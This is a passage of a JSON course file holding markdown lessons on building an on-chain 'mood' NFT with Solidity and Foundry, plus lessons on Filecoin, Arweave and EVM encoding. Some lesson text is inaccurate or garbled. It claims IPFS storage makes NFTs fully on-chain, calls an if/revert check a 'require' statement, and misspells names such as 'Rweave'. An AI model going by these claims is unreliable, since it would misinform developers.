// how would you require payment for this NFT?\n _safeMint(msg.sender, s_tokenCounter);\n s_tokenCounter = s_tokenCounter + 1;\n emit CreatedNFT(s_tokenCounter);\n }\n```\n\nFinally, we need to define what our NFT will look like. This is done using the `TokenURI` function, which takes the token ID as a parameter and returns a string memory.\n\n```js\nfunction tokenURI(uint256 _tokenId) public view override returns (string memory) {}\n```\n\nAnd that's a wrap! Developing mood-changing NFTs can be as fun as it sounds. Now it's your turn to create your mood NFT and bring your crazy, creative ideas to life!\n", + "updates": [] + }, + { + "id": "f1face80-d228-4ce4-8566-e4a6733cb435", + "number": 13, + "title": "Encoding SVGs to be stored onchain", + "slug": "svg-onchain-encoding", + "folderName": "13-svg-nft-encoding", + "description": "Teaches encoding SVGs in Base64 format for on-chain storage in NFTs. It covers the process of encoding and testing SVG NFTs, ensuring their proper functioning and appearance", + "duration": 17, + "videoUrl": "wF1elzqm6w0", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/13-svg-nft-encoding/+page.md", + "markdownContent": "---\ntitle: SVG NFT Encoding\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nThis blog post provides an in-depth walkthrough on how to encode SVGs as part of your NFT metadata.\n\n## Getting Started\n\nFirst, you need to encode the SVGs separately to Base64 format. Here’s how:\n\nOpen your README file and delete everything inside. Let’s say we're going to encode one of the emotions.\n\n```js\nfunction tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) {\n revert ERC721Metadata__URI_QueryFor_NonExistentToken();\n }\n string memory imageURI = s_happySvgUri;\n\n if (s_tokenIdToState[tokenId] == NFTState.SAD) {\n imageURI = s_sadSvgUri;\n }\n return\n string(\n abi.encodePacked(\n _baseURI(),\n Base64.encode(\n bytes(\n abi.encodePacked(\n '{\"name\":\"',\n name(), // You can add whatever name here\n '\", \"description\":\"An NFT that reflects the mood of the owner, 100% on Chain!\", ',\n '\"attributes\": [{\"trait_type\": \"moodiness\", \"value\": 100}], \"image\":\"',\n imageURI,\n '\"}'\n )\n )\n )\n )\n );\n }\n```\n\nNow, the important step.\n\nInstead of passing the SVG text in your smart contract (like `MoodNFT` for instance), pass in the already encoded version. It’s worth mentioning that base64 encoding the images on-chain may effectively reduce gas costs.\n\n## Testing the SVG NFT\n\nNow we need to ensure the SVG NFT is working as expected. of course both the Happy and Sad SVG have a different base64 encoded string. Let’s test it out.\n\n```js\nstring public constant HAPPY_MOOD_URI =\n \"data:application/json;base64,eyJuYW1lIjoiTW9vZCBORlQiLCAiZGVzY3JpcHRpb24iOiJBbiBORlQgdGhhdCByZWZsZWN0cyB0aGUgbW9vZCBvZiB0aGUgb3duZXIsIDEwMCUgb24gQ2hhaW4hIiwgImF0dHJpYnV0ZXMiOiBbeyJ0cmFpdF90eXBlIjogIm1vb2RpbmVzcyIsICJ2YWx1ZSI6IDEwMH1dLCAiaW1hZ2UiOiJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUIyYVdWM1FtOTRQU0l3SURBZ01qQXdJREl3TUNJZ2QybGtkR2c5SWpRd01DSWdJR2hsYVdkb2REMGlOREF3SWlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpUGdvZ0lEeGphWEpqYkdVZ1kzZzlJakV3TUNJZ1kzazlJakV3TUNJZ1ptbHNiRDBpZVdWc2JHOTNJaUJ5UFNJM09DSWdjM1J5YjJ0bFBTSmliR0ZqYXlJZ2MzUnliMnRsTFhkcFpIUm9QU0l6SWk4K0NpQWdQR2NnWTJ4aGMzTTlJbVY1WlhNaVBnb2dJQ0FnUEdOcGNtTnNaU0JqZUQwaU5qRWlJR041UFNJNE1pSWdjajBpTVRJaUx6NEtJQ0FnSUR4amFYSmpiR1VnWTNnOUlqRXlOeUlnWTNrOUlqZ3lJaUJ5UFNJeE1pSXZQZ29nSUR3dlp6NEtJQ0E4Y0dGMGFDQmtQU0p0TVRNMkxqZ3hJREV4Tmk0MU0yTXVOamtnTWpZdU1UY3ROalF1TVRFZ05ESXRPREV1TlRJdExqY3pJaUJ6ZEhsc1pUMGlabWxzYkRwdWIyNWxPeUJ6ZEhKdmEyVTZJR0pzWVdOck95QnpkSEp2YTJVdGQybGtkR2c2SURNN0lpOCtDand2YzNablBnPT0ifQ==\";\n\n string public constant SAD_MOOD_URI =\n \"data:application/json;base64,eyJuYW1lIjoiTW9vZCBORlQiLCAiZGVzY3JpcHRpb24iOiJBbiBORlQgdGhhdCByZWZsZWN0cyB0aGUgbW9vZCBvZiB0aGUgb3duZXIsIDEwMCUgb24gQ2hhaW4hIiwgImF0dHJpYnV0ZXMiOiBbeyJ0cmFpdF90eXBlIjogIm1vb2RpbmVzcyIsICJ2YWx1ZSI6IDEwMH1dLCAiaW1hZ2UiOiJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBEOTRiV3dnZG1WeWMybHZiajBpTVM0d0lpQnpkR0Z1WkdGc2IyNWxQU0p1YnlJL1BnbzhjM1puSUhkcFpIUm9QU0l4TURJMGNIZ2lJR2hsYVdkb2REMGlNVEF5TkhCNElpQjJhV1YzUW05NFBTSXdJREFnTVRBeU5DQXhNREkwSWlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpUGdvZ0lEeHdZWFJvSUdacGJHdzlJaU16TXpNaUlHUTlJazAxTVRJZ05qUkRNalkwTGpZZ05qUWdOalFnTWpZMExqWWdOalFnTlRFeWN6SXdNQzQySURRME9DQTBORGdnTkRRNElEUTBPQzB5TURBdU5pQTBORGd0TkRRNFV6YzFPUzQwSURZMElEVXhNaUEyTkhwdE1DQTRNakJqTFRJd05TNDBJREF0TXpjeUxURTJOaTQyTFRNM01pMHpOekp6TVRZMkxqWXRNemN5SURNM01pMHpOeklnTXpjeUlERTJOaTQySURNM01pQXpOekl0TVRZMkxqWWdNemN5TFRNM01pQXpOeko2SWk4K0NpQWdQSEJoZEdnZ1ptbHNiRDBpSTBVMlJUWkZOaUlnWkQwaVRUVXhNaUF4TkRCakxUSXdOUzQwSURBdE16Y3lJREUyTmk0MkxUTTNNaUF6TnpKek1UWTJMallnTXpjeUlETTNNaUF6TnpJZ016Y3lMVEUyTmk0MklETTNNaTB6TnpJdE1UWTJMall0TXpjeUxUTTNNaTB6TnpKNlRUSTRPQ0EwTWpGaE5EZ3VNREVnTkRndU1ERWdNQ0F3SURFZ09UWWdNQ0EwT0M0d01TQTBPQzR3TVNBd0lEQWdNUzA1TmlBd2VtMHpOellnTWpjeWFDMDBPQzR4WXkwMExqSWdNQzAzTGpndE15NHlMVGd1TVMwM0xqUkROakEwSURZek5pNHhJRFUyTWk0MUlEVTVOeUExTVRJZ05UazNjeTA1TWk0eElETTVMakV0T1RVdU9DQTRPQzQyWXkwdU15QTBMakl0TXk0NUlEY3VOQzA0TGpFZ055NDBTRE0yTUdFNElEZ2dNQ0F3SURFdE9DMDRMalJqTkM0MExUZzBMak1nTnpRdU5TMHhOVEV1TmlBeE5qQXRNVFV4TGpaek1UVTFMallnTmpjdU15QXhOakFnTVRVeExqWmhPQ0E0SURBZ01DQXhMVGdnT0M0MGVtMHlOQzB5TWpSaE5EZ3VNREVnTkRndU1ERWdNQ0F3SURFZ01DMDVOaUEwT0M0d01TQTBPQzR3TVNBd0lEQWdNU0F3SURrMmVpSXZQZ29nSUR4d1lYUm9JR1pwYkd3OUlpTXpNek1pSUdROUlrMHlPRGdnTkRJeFlUUTRJRFE0SURBZ01TQXdJRGsySURBZ05EZ2dORGdnTUNBeElEQXRPVFlnTUhwdE1qSTBJREV4TW1NdE9EVXVOU0F3TFRFMU5TNDJJRFkzTGpNdE1UWXdJREUxTVM0MllUZ2dPQ0F3SURBZ01DQTRJRGd1TkdnME9DNHhZelF1TWlBd0lEY3VPQzB6TGpJZ09DNHhMVGN1TkNBekxqY3RORGt1TlNBME5TNHpMVGc0TGpZZ09UVXVPQzA0T0M0MmN6a3lJRE01TGpFZ09UVXVPQ0E0T0M0Mll5NHpJRFF1TWlBekxqa2dOeTQwSURndU1TQTNMalJJTmpZMFlUZ2dPQ0F3SURBZ01DQTRMVGd1TkVNMk5qY3VOaUEyTURBdU15QTFPVGN1TlNBMU16TWdOVEV5SURVek0zcHRNVEk0TFRFeE1tRTBPQ0EwT0NBd0lERWdNQ0E1TmlBd0lEUTRJRFE0SURBZ01TQXdMVGsySURCNklpOCtDand2YzNablBnbz0ifQ==\";\n\n address USER = makeAddr(\"user\");\n\n function testViewTokenURI() public {\n vm.prank(USER);\n moodNft.mintNft();\n console.log(moodNft.tokenURI(0));\n }\n\n```\n\n## Summary\n\nIn summary:\n\n1. A unique ID is generated for each MoodNFT.\n2. The metadata is stored and rendered directly from the blockchain.\n\nIf there's a need to add new moods, you can simply update the moods array.\n\nThis metadata standard is easy to adopt and highly adaptable, perfect for projects seeking to incorporate rich metadata for their NFTs. But remember to verify each line of your code to avoid any vulnerabilities. Happy coding!\n\n\n", + "updates": [] + }, + { + "id": "2e1b663e-4070-4cf7-8858-e623c5d682e8", + "number": 14, + "title": "Modify the NFT image onchain", + "slug": "change-on-chain-nft-image", + "folderName": "14-svg-nft-flipping", + "description": "This section is about adding functionality to change the NFT's appearance on-chain. It includes creating a function to flip the mood of an NFT, ensuring only the owner can modify it", + "duration": 3, + "videoUrl": "4hqtCFXpS5U", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/14-svg-nft-flipping/+page.md", + "markdownContent": "---\ntitle: SVG NFT Flipping the Mood\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## The \"Flip Mood\" Functionality\n\nImagine if we could interact with our NFTs and change their mood between happy and sad. It can add a new dimension to how we engage with our assets. Let's write a function to achieve this.\n\n```js\nfunction flipMood(uint256 tokenId) public {\n\n if (s_tokenIdToState[tokenId] == NFTState.HAPPY) {\n s_tokenIdToState[tokenId] = NFTState.SAD;\n } else {\n s_tokenIdToState[tokenId] = NFTState.HAPPY;\n }\n }\n```\n\nIn this function, `tokenId` is a unique identifier for our NFT. We're stating that this function should be public, available for interaction.\n\nBut first, we should ensure that only the owner of the NFT can flip its mood, right?\n\n## Ensuring Owner Access\n\nOf course this is something just the owner of the NFT should be able to do. We can achieve this by adding a if statement to our function and a modifier to our contract.\n\n```js\nerror MoodNft__CantFlipMoodIfNotOwner();\n\n if (!_isApprovedOrOwner(msg.sender, tokenId)) {\n revert MoodNft__CantFlipMoodIfNotOwner();\n }\n```\n\nHere, we use the 'require' statement to validate that it's the NFT owner attempting to flip the mood. If it isn't, the operation doesn't proceed, and we get a custom error stating, \"MoodNFT: Can't flip mood if not owner\".\n\n## Closing thoughts\n\n\n\nSprucing up our NFTs with a \"Mood Flip\" functionality provides a unique way for their owners to engage with these digital assets, marking a significant step forward in the NFT space. With the continuous evolution of this technology, the possibilities for future interaction and personalization are limitless. We're just getting started!\n", + "updates": [] + }, + { + "id": "760ee30e-0eab-4f5b-a560-27c9dc85c6ac", + "number": 15, + "title": "Create the deployment script", + "slug": "dynamic-nft-collection-deployment-script", + "folderName": "15-svg-deploy", + "description": "Guides on automating the deployment process of Mood NFTs using scripting. It covers setting up the deploy script, encoding SVGs, and testing the deployment script for effectiveness.", + "duration": 18, + "videoUrl": "PVg6ztt2QmE", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/15-svg-deploy/+page.md", + "markdownContent": "---\ntitle: SVG NFT Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Deploying the Mood NFT Project\n\nIn this lesson, we'll automate the deployment process of the Mood NFT Project by scripting it. As you may already know, in the realm of blockchain development, scripts are super helpful to help automate repetitive processes, so let's get our hands dirty and simplify our work!\n\n## Creating the Deploy Mood NFT Script\n\nStarting off, create a new file for the deploy script named `DeployMoodNft.s.sol`. In this script file, include the SPDX License followed by the contract-deployment code, just as you typically would do in a Solidity contract.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {MoodNft} from \"../src/MoodNft.sol\";\n\ncontract DeployMoodNft is Script {\n function run() external {}\n}\n```\n\nRemember we are deploying our Mood NFT, hence we'll need to import the MoodNFT contract. In our run function, it's time to set specifics on how the NFT will be deployed.\n\n## Preparing the Deploying Parameters\n\nThe Mood NFT contract accepts two parameters upon deployment: the \"sad SVG image URI\" and the \"happy SVG image URI\". Now we could hardcode these parameters into the script, but to make our lives a little easier and our script a little smarter, we're going to create a function that automatically encodes our SVGs.\n\n```js\nfunction svgToImageURI(\n string memory svg\n ) public pure returns (string memory) {\n // example:\n // ''\n // would return \"\"\n string memory baseURL = \"data:image/svg+xml;base64,\";\n string memory svgBase64Encoded = Base64.encode(\n bytes(string(abi.encodePacked(svg)))\n );\n return string(abi.encodePacked(baseURL, svgBase64Encoded));\n }\n```\n\nThis function will intake an SVG file as text, encode it into a base 64 formatted string, then return it. To do this, we need to import the OpenZeppelin base64 library which allows us to encode our SVGs on chain.\n\n```js\nimport { Base64 } from \"@openzeppelin/contracts/utils/Base64.sol\";\n```\n\n## Implementing the Encoding Function\n\nThe SVG to Image URI function first defines a base URL.\n\n```js\nstring memory baseURL = \"data:image/svg+xml;base64,\";\n```\n\nNext, it encodes the SVG provided, concatenates that encoded string to the base URL, and voila, we have our encoded SVG string ready to be passed to the Mood NFT contract.\n\n```js\nstring memory svgBase64Encoded = Base64.encode(\n bytes(string(abi.encodePacked(svg)))\n );\n```\n\n\n\n## Reading in SVG Files\n\nNow that we have the means to encode SVG files, it's time to read the actual files in our Foundry scripting environment. As you may know, Foundry provides an awesome utility function named `readFile` which we will employ.\n\nBut before we do that, we need to set appropriate permissions within the \"foundry.toml\" file in our project to allow the script to read from specified directories.\n\n```makefile\n[profile.default]\nfs_permissions = [{ access = \"read\", path = \"./images/\"}]\n```\n\nAt this point, it's important to note that in settings and permissions, try to make `ffi = false` whenever you can for security reasons.\n\nNow that we've taken care of the permissions business, we can use the `readFile` function to read in our SVG files.\n\n```js\nstring memory sadSVG = VM.readFile(\"images/sad.svg\");string memory happySVG = VM.readFile(\"images/happy.svg\");\n```\n\n## Finalizing the Deployment Script\n\nFinally, we can proceed to deploy our Mood NFT with the encoded SVG URIs.\n\n```js\n string memory sadSvg = vm.readFile(\"./images/dynamicNft/sad.svg\");\n string memory happySvg = vm.readFile(\"./images/dynamicNft/happy.svg\");\n```\n\nAnd return the created Mood NFT for our test functions to utilize.\n\n```js\nreturn moodNFT;\n```\n\n## Testing our Deploy Script: Integration Tests vs Unit Tests\n\nLastly, but certainly not least, we test our deploy script. It will be best to implement both integration tests and unit tests for our script.\n\n\n\nThat's it for this tutorial! Enjoy your automated Mood NFT deployment. Write in the comment section for any questions, suggestions, or just to share your experience!\n", + "updates": [] + }, + { + "id": "23802ffc-f88d-4bc6-85bf-c7633f5e963e", + "number": 16, + "title": "Debug your smart contract", + "slug": "debug-solidity-smart-contract", + "folderName": "16-svg-debug", + "description": "Guides on automating the deployment process of Mood NFTs using scripting. It covers setting up the deploy script, encoding SVGs, and testing the deployment script for effectiveness.", + "duration": 6, + "videoUrl": "MQXrXFRS3ks", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/16-svg-debug/+page.md", + "markdownContent": "---\ntitle: SVG NFT Debugging\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome to a new highly detailed blog post on debugging, testing, and creating automated scripts for smart contracts. We will walk you through the process of running and debugging tests using the Forge test tool. We'll also give you some examples of integrating unit testing and integration testing. Buckle up as this is going to be an interesting journey through the jungle of smart contract testing.\n\n\n\n## Solving the URI Mystery\n\nAt this point, we decided to take a more detailed look at the `sadSvgUri`. We considered that the `tokenUri` and the `sadSvgUri` were not supposed to be the same because one is an image `Uri` while the other isn't. After a bit of back-and-forth, we figured out the `tokenUri` was supposed to equal our `Sad SVG Uri`.\n\n\n\nSo in order to achieve that we need to assert the actual token URI correspond to the sad SVG URI. We added the following code to our test script:\n\n```javascript\nfunction testFlipTokenToSad() public {\n vm.prank(USER);\n moodNft.mintNft();\n\n vm.prank(USER);\n moodNft.flipMood(0);\n\n assert(\n keccak256(abi.encodePacked(moodNft.tokenURI(0))) ==\n keccak256(abi.encodePacked(SAD_MOOD_URI))\n );\n }\n```\n\nWith the mystery solved, we performed another run and successfully passed all tests.\n\n## Unit Test Versus Integration Test\n\nIn a nutshell, the process of testing we've just gone through is a good demonstration of the differences between a unit test and an integration test.\n\n- **Unit Test**: In our case, it was testing the specific function on our Deploy Mood NFT and Mood NFT.\n- **Integration Test**: This type of test combined the deployer with the Mood NFT and Basic NFT, ultimately showing what an integration test should look like.\n\n## Script Writing to Automate Deployment and Testing\n\nDon't want to manually type all of those Forge script commands? Let's walk through the process of automating those actions for deployment and testing.\n\nIn our case, we created a script that, once run, deploys both of our NFTs and even flips the mood of our NFT. You can add this script in your make file. Be sure to create scripts for minting the Mood NFT and flipping the Mood NFT too. Even though they are skipped in this post, they are also crucial for a complete automation setup.\n\n## Working on Code Coverage\n\nLastly, we highly recommend improving your code coverage. Our current coverage looks good for Basic NFT and Mood NFT, but scripts' coverage can certainly be improved. Writing comprehensive tests boosts your confidence that the code will function as expected.\n\nTo check code coverage, run:\n\n```bash\nforge coverage\n```\n\nThis will give you a detailed report of the coverage for each code section.\n\n## Wrapping Things Up\n\nWe believe that this practice exercise will help you appreciate the importance of testing, debugging and automating scripts when working with smart contracts. It's a lot more fun to run a single command that deploys, tests and completes your NFT than to manually type each command individually.\n\nRemember to constantly evaluate your test coverage and keep it high. If you do, you will significantly increase your confidence that your code performs exactly as expected. Happy testing!\n", + "updates": [] + }, + { + "id": "b715cff6-2fe2-4261-a51e-6f8b065a5b95", + "number": 17, + "title": "Deploy and interact using Anvil", + "slug": "svg-anvil", + "folderName": "17-svg-anvil", + "description": "This lesson covers deploying and interacting with NFTs using Anvil, a local Ethereum network. It includes setting up MetaMask with Anvil, deploying Mood NFTs, minting, and flipping their mood, demonstrating the process of NFT interaction on a local blockchain network.", + "duration": 6, + "videoUrl": "2tK1aFelC54", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/17-svg-anvil/+page.md", + "markdownContent": "---\ntitle: SVG NFT Anvil Demo\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Deploying and Flipping a 100% On-Chain NFT on Anvil\n\nWelcome to this exciting tutorial where we will deploy and flip an on-chain NFT minted on our own local network, Anvil. Experience firsthand the speed and efficiency of Anvil, with all the steps demonstrated live in our MetaMask!\n\n## Setting up MetaMask with Anvil\n\nFor live interactions with our NFT, we'll utilize MetaMask. Follow these steps to set up MetaMask with your Anvil chain:\n\n1. Within MetaMask, choose `Add Network`.\n2. Edit the settings to coincide with your Anvil chain.\n3. Reset your Anvil chain to reflect these new settings.\n4. Verify your address is listed in the account. If not, import one from one of the private keys.\n5. Clear your activity tab- Go to your Account Settings -> Advanced -> Clear activity tab.\n\nWith these steps, your MetaMask is primed and ready for the Mood NFT.\n\n\n\n## Deploying the Mood NFT on Anvil\n\nWith our local chain in place and MetaMask set up, we're ready to deploy the Mood NFT on Anvil. Run the `Make Deploy Mood` command and if successful, you'll get a contract address for your Mood NFT.\n\n```makefile\ndeployMood:\n\t@forge script script/DeployMoodNft.s.sol:DeployMoodNft $(NETWORK_ARGS)\n```\n\n## Interacting with the Mood NFT\n\nReady to mint an NFT and interact with it? We'll utilize `cast` to accomplish this:\n\n1. Send a `mint NFT` call to your contract address.\n2. Ensure to pass in the private key from your account that has some money in it.\n3. Use the Anvil RPC URL from your `make` file.\n4. Execute the mint command with the right private key and, Voila- You've minted an NFT!\n\n```makefile\nmintMoodNft:\n\t@forge script script/Interactions.s.sol:MintMoodNft $(NETWORK_ARGS)\n```\n\nYou can then import the NFT into MetaMask using the contract address. Add the Token ID and behold- your Mood NFT is live and ready for action!\n\n## Flipping the Mood NFT\n\nPerhaps one of the most exciting features of our Mood NFT is the ability to flip its mood. In our command window, we call the `Flip Mood` function on our Token Zero, reflecting the change in MetaMask.\n\nRemove the NFT and re-add it using the contract address. Your Mood NFT strikes a different mood!\n\n\n\n## Wrapping up\n\nWe've created, deployed, and minted an NFT on our own network with Anvil, and interacted with it through MetaMask! You could replicate these steps to deploy on a testnet, or even a main net.\n\nAs a best practice, always aim to keep your NFTs decentralized. Use IPFS to store metadata regarding NFTs to ensure they're 100% on-chain, as opposed to being centrally controlled via websites or similar platforms.\n\nCongratulations and here's to your adventures in creating and flipping mood with NFTs!\n", + "updates": [] + }, + { + "id": "5da078de-11b0-4a3e-bf28-4c5e3249842b", + "number": 18, + "title": "Introduction to Filecoin and Arweave", + "slug": "introduction-to-filecoin-arweave", + "folderName": "18-filecoin-arweave", + "description": "Introduces Filecoin and Arweave, two decentralized storage solutions for NFT metadata. The lesson explores their features, benefits, and use cases, with insights from an expert at the Filecoin Foundation, highlighting the future of decentralized data storage.", + "duration": 8, + "videoUrl": "YYZs18wUdhs", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/18-filecoin-arweave/+page.md", + "markdownContent": "---\ntitle: Filecoin & Arweave\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn today's rapidly developing digital world, decentralized storage solutions are increasingly becoming the go-to for storing NFT (Non-Fungible Tokens) metadata. Among these solutions, Rweave and Filecoin stand out as the most popular. They present exciting opportunities for users to deploy their NFT metadata in a flexible and secure manner.\n\nWe'll explore these innovative storage platforms, diving deep into their core principles and benefits. Moreover, we'll also gain insights from a special guest, Ali, a developer relations engineer at the Filecoin Foundation.\n\n## Decentralized Storage Solutions - Rweave and Filecoin\n\nTo help you understand the concept of storing NFT metadata using decentralized storage solutions, we need to focus on two key players in the field - Rweave and Filecoin.\n\n1. **Arweave**\n\nArweave is a decentralized storage network that makes data immune to modification, ensuring data validity over very long periods. This is an ideal solution for anyone looking for a permanent database.\n\n2. **Filecoin**\n\nProviding reliable and cost-effective storage, Filecoin is a decentralized protocol that propels the open-market for data storage services.\n\nA great tool to help deploy your NFT metadata onto decentralized storage solutions such as Filecoin is **NFT Storage**. This site makes the deployment process seamless and smooth. You're not limited to SVGs on-chain; you can also upload actual images onto these decentralized storage solutions.\n\n## An Expert's Take: The Vision of Filecoin\n\nBringing expert insight into this subject, we welcome Ali from the Filecoin Foundation. Ali shares her view on the mission of Protocol Labs and Filecoin, as well as the vision they have to democratize the internet and web.\n\nShe elaborates on the growing importance of data in our daily lives and the tech stack, reinforcing its critical role in the web 3.0 revolution.\n\n\n\n## Filecoin: The Data Storage Revolution\n\nFilecoin, since its launch in 2020, has been working tirelessly towards decentralizing the data infrastructure for the internet. Their layer one solution, Filecoin Virtual Machine (FVM), has launched some impressive functionalities.\n\n- **Filecoin Data Deal Making:** It involves setting up an agreement between a client and a miner to store data.\n- **Tokenization of Data Sets:** With tokenization, data can be protected securely and transparently.\n- **Data DAOs:** Filecoin's on-chain tools allow data to be collectively owned and governed by an organization (DAO - Decentralized Autonomous Organization).\n\nAnd many more use cases are being developed, showcased in the [Filecoin docs](https://docs.filecoin.io/).\n\nTo build a robust computation over all the useful data stored in Filecoin, they are focusing on layer Two (L2) and computation over data projects like IPC (Interplanetary Consensus Project) and Bacquio.\n\nTo get started with Filecoin, try deploying a smart contract to FVM, or use the storage helper - Web3 Storage or NFT Storage, to engage with the technology directly.\n\n## The Role of ABI Encode Pack\n\nBut, what does all this mean, if we haven’t covered what Abi encode pack is and how it works? The Abi encode pack is an essential Ethereum function that we've been using throughout this course. It is used to define how data is formatted for the Ethereum Virtual Machine (EVM).\n\nIn our following lessons, we'll explain Abi encode pack in detail using live examples. To get a head start, you can find all the course codes and images in the SRC sublesson.\n\nIn conclusion, the embrace of decentralized storage solutions like Rweave and Filecoin opens up a myriad of opportunities and functionalities for users to deploy and manage NFT metadata. It’s indeed an intriguing space with much to offer, and it’s only bound to grow more prevalent in the future.\n\nStay tuned for more information on the complexities of working with and understanding these storage solutions. Happy learning!\n", + "updates": [] + }, + { + "id": "31cb90f0-4c98-4621-9742-ac0b6cc989a2", + "number": 19, + "title": "Advanced EVM - Opcodes, calling, etc", + "slug": "evm-opcodes-advanced", + "folderName": "19-advanced-evm", + "description": "Delves into advanced Ethereum Virtual Machine (EVM) concepts, focusing on opcodes and function calls. It demonstrates decoding transaction data using MetaMask and highlights the importance of verifying transactions to ensure safety in the cryptocurrency world.", + "duration": 23, + "videoUrl": "txbP7l3U6JU", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/19-advanced-evm/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Opcodes, Calling, and Encoding\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nToday, we're embarking on an exciting journey to unveil the mystery behind decoding transaction data using MetaMask. This wallet is used to perform many activities in the cryptocurrency world, but one activity that may seem challenging is the \"decoding of transaction data.\" Here, we explain this process using Wet, a contract that wraps native ETH into an ERC-20 token.\n\n## Setting up MetaMask\n\nThe first step in our journey is as easy as pie. It's the setup phase which calls for the connection to MetaMask. Here, we will be using the Sepolia Contract, as it is one of the existing contracts.\n\nFor this stage, all you need to do is:\n\n1. Navigate to your contract.\n2. Click on \"Write Contract.\"\n3. Connect to web3 and open up your MetaMask.\n\nIn this scenario, we will be calling the \"Transfer From\" function. As an aside, you should note that at times, MetaMask may fail to identify the function you are trying to call—this is where the fun begins.\n\n\n\n## Variance Check\n\nFrom there, you need to verify if your transaction data is accurate.\n\nTo do this, you decode the function you’re calling and its parameters by pasting the hex string from the transaction into the call data decode command.\n\nWhen you complete these steps, MetaMask will display your decoded data. This data keeps the essence of your transaction, the information about the function you're calling and the parameters it utilizes.\n\n\n\n## Performing Transactions Safely\n\nThe said steps are applicable when performing transactions of any form in the cryptocurrency world.\n\n### An example:\n\nLet's say you wish to swap ETH for a token using Uniswap. After initiating the \"swap\" process, MetaMask shows you a transaction, but are you sure it's the transaction you want to make?\n\nTo confirm, you follow the steps previously outlined:\n\n1. Check your contract addresses.\n2. Read the function of the contract.\n3. Check the function selector.\n4. Decode the call data parameters.\n\nBy doing so, you can be utterly sure your wallets are performing the expected transactions.\n\nMeanwhile, it's important to note that some upcoming projects like Fire are working on the creation of wallets that can automatically decode transaction data. Hopefully, this will make for safer transactions and effectively eliminate the chances of falling victim to malicious transactions.\n\n## Wrapping Up\n\nAlways remember to verify the details of your transactions when dealing with large amounts of money in the cryptocurrency world, as transactions cannot be undone. With this guide, sending transactions, especially on MetaMask, should be a walk in the park. Stay safe and Happy Trading!\n", + "updates": [] + }, + { + "id": "523a059e-80b6-472f-a1d4-5d8cd49726a8", + "number": 20, + "title": "Advanced EVM - Encoding", + "slug": "evm-encoding", + "folderName": "20-evm-encoding", + "description": "Explores ABI encoding and decoding in the context of EVM. The lesson breaks down the process of converting variables for use in transaction data fields, emphasizing the importance of understanding bytecode and binary for blockchain transactions.", + "duration": 6, + "videoUrl": "FxBPF8xsi3E", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/20-evm-encoding/+page.md", + "markdownContent": "---\ntitle: Advanced EVM - Encoding functions directly\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n### Introduction\n\nToday, we're going to take a deep dive into a concept that's integral to interacting with Ethereum and any EVM-compatible chain - ABI encoding and decoding. With the basics of this concept under our belt, we'll see how it aligns itself to the bytecode the Ethereum Virtual Machine (EVM) uses. At its core, this process involves converting different variables into binary or other such low-level byte representation for use in transaction data fields.\n\n\n\nLet’s break down some vital elements before we delve into the intricacies of ABI encoding and decoding.\n\n### Understanding Bytecode and Binary\n\nBytecode and binary are low-level programming languages that computers or the Ethereum network use for their transactions. This strange series of characters, which seem utterly incoherent to us, are but different codes that execute various functions in the Ethereum Blockchain.\n\n### Contract Deployment and Function Calls\n\nWith a better grasp of binary and bytecode, let's investigate what happens when we deploy a contract or make a function call. Think of the `data` field in the contract deployment as the keeper of all the binary code of the contract. In a function call, the `data` field contains the function to call at the given address.\n\nIf we examine _Etherscan_, a popular Ethereum Blockchain explorer, we can look at the input data of a transaction. This seemingly indecipherable, convoluted bit of 'hex' or binary is the `data` field of the transaction. Essentially, this is what the EVM uses as a guide to know which function to execute.\n\n### Populating the 'Data' Piece\n\nThis knowledge equips us with a seemingly bizarre ability. Whenever we send a transaction, we can fill in the `data` field ourselves with the binary code we want to execute. If we glance back at one of the previous sections where we discussed Ethers, we can use our understanding of function calls and binary to populate this `data` field with a function that we want to call, in binary format.\n\nAt first glance, this might sound unappealing. After all, why would someone desire to manually feed in binary code into the `data` field when we have the ABI and other interfaces designed to make our lives easier? The answer lies in the flexibility this presents. Perhaps all you have is the function name, or maybe, you only have the parameters you want to send. If you'd like your code to make arbitrary function calls or perform intricate tasks, then manually defining your `data` field becomes an invaluable asset in your development arsenal.\n\n### Low-Level Keywords: 'Call' and 'Static Call'\n\nWith this newfound knowledge, how do we go about challenging the norms and making these custom `data` calls? Thankfully, Solidity extends some low-level keywords just for us: `call` and `static call`.\n\nThe `call` keyword lends us the ability to call functions and change the state of the blockchain. On the other hand, `static call` allows us to call 'view' or 'pure' functions, which don't alter the state of the blockchain and just return a value.\n\nIf we modify the data in our `call` function using these parameters, we'll find that we can influence the value of our transactions directly. Moreover, the `gasLimit` and `gasPrice`, which are integral to the financial aspect of transactions, can also be changed.\n\n### Using Parentheses to Add Data\n\nIf we pinpoint the location of the parentheses in a typical `call`, we come across a region where we can add our `data`. When specified, instead of merely sending money to a function, we can use this space to `call` different functions we desire.\n\n\n\nIn conclusion, ABI encoding and decoding enable us to have more control over our transactions and function calls. Therefore, understanding the low-level process enables not only a broader understanding of how Ethereum works but also opens the door to more complex and custom transaction handling in the blockchain.\n", + "updates": [] + }, + { + "id": "166753f8-2135-4707-b712-c20471474ac9", + 